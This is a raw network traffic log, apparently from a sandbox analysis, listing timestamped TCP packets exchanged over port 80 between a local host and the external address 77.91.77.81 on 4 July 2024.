Jul 4, 2024 20:34:24.348113060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348123074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348133087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348134041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.348157883 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.348175049 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.348299980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348310947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348320007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348330021 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348340034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348344088 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.348378897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.348521948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348532915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348541975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348551989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348562002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348568916 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.348572969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348584890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348592997 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.348593950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348604918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348608971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.348613977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348623991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348643064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.348670006 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.348783016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348793030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348798990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348809004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348819017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348829031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348839045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348839045 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.348850012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348856926 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.348870993 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.348891973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.351664066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.351711035 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.351739883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.351749897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.351780891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.351891994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.351902008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.351912975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.351922035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.351933002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.351938009 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.351950884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.351964951 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.352732897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.352744102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.352754116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.352763891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.352773905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.352777958 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.352783918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.352802992 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.352819920 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.396810055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.396868944 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.396961927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.396972895 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.396984100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.397008896 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.397037983 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.397048950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.397059917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.397069931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.397080898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.397085905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.397109032 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.397129059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.397152901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.397165060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.397175074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.397186041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.397187948 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.397196054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.397207022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.397207975 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.397238970 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.427072048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.427093029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.427103043 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.427123070 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.427155018 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.427180052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.427190065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.427201033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.427211046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.427213907 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.427241087 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.427277088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.427292109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.427301884 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.427311897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.427314043 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.427321911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.427331924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.427340984 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.427342892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.427365065 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.427378893 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.442538977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442549944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442559958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442591906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.442594051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442604065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442614079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442616940 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.442624092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442635059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442648888 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.442662954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442678928 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.442697048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.442714930 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442725897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442734957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442749977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.442770958 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.442802906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442814112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442825079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442835093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442840099 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.442846060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442856073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442862034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.442878008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442888021 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442897081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442898035 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.442905903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442908049 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.442972898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.442975998 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.443013906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.443063974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443074942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443104029 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.443116903 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.443187952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443197966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443202019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443207026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443211079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443279982 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.443298101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443314075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443331003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443331957 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.443340063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443351030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443360090 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.443361044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443372011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443382025 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.443382978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443394899 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443404913 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.443430901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443440914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443447113 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.443449974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443459988 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443461895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.443470955 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443480968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443496943 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.443528891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.443550110 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443561077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443571091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443587065 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.443638086 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443648100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443656921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443667889 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443691969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.443718910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.443749905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443762064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443772078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443783045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443788052 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.443813086 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.443830967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443840981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443862915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.443891048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443892956 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.443901062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443912029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443933010 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.443938971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443948984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.443950891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.443979979 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.444005966 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.444010019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.444020987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.444031954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.444041014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.444046974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.444051981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.444076061 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.444112062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.444122076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.444130898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.444145918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.444155931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.444164038 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.444165945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.444175959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.444184065 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.444212914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.447459936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.447508097 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.447524071 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.447535038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.447552919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.447568893 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.447609901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.447619915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.447629929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.447633982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.447643995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.447652102 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.447666883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.447669029 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.447679996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.447690010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.447700024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.447702885 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.447710037 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.447721004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.447721004 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.447740078 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.447752953 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.492355108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.492404938 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.492511034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.492521048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.492537022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.492547035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.492554903 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.492582083 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.492647886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.492662907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.492667913 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.492676973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.492687941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.492705107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.492717028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.492785931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.492795944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.492805958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.492816925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.492825985 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.492827892 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.492845058 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.492856026 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.522012949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.522056103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.522069931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.522072077 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.522085905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.522104025 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.522109985 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.522121906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.522133112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.522142887 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.522142887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.522156954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.522177935 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.522342920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.522384882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.522444010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.522454977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.522486925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.522501945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.522511959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.522521973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.522532940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.522541046 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.522552967 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.522579908 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538018942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538038969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538047075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538079977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538093090 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538119078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538129091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538137913 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538156986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538183928 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538197994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538208008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538218021 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538233042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538253069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538299084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538310051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538321018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538331032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538341045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538341999 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538351059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538369894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538372993 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538381100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538387060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538391113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538414001 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538427114 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538436890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538439989 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538448095 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538458109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538464069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538470984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538489103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538501978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538505077 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538542986 CEST	49744	80	192.168.2.4	77.91.77.81
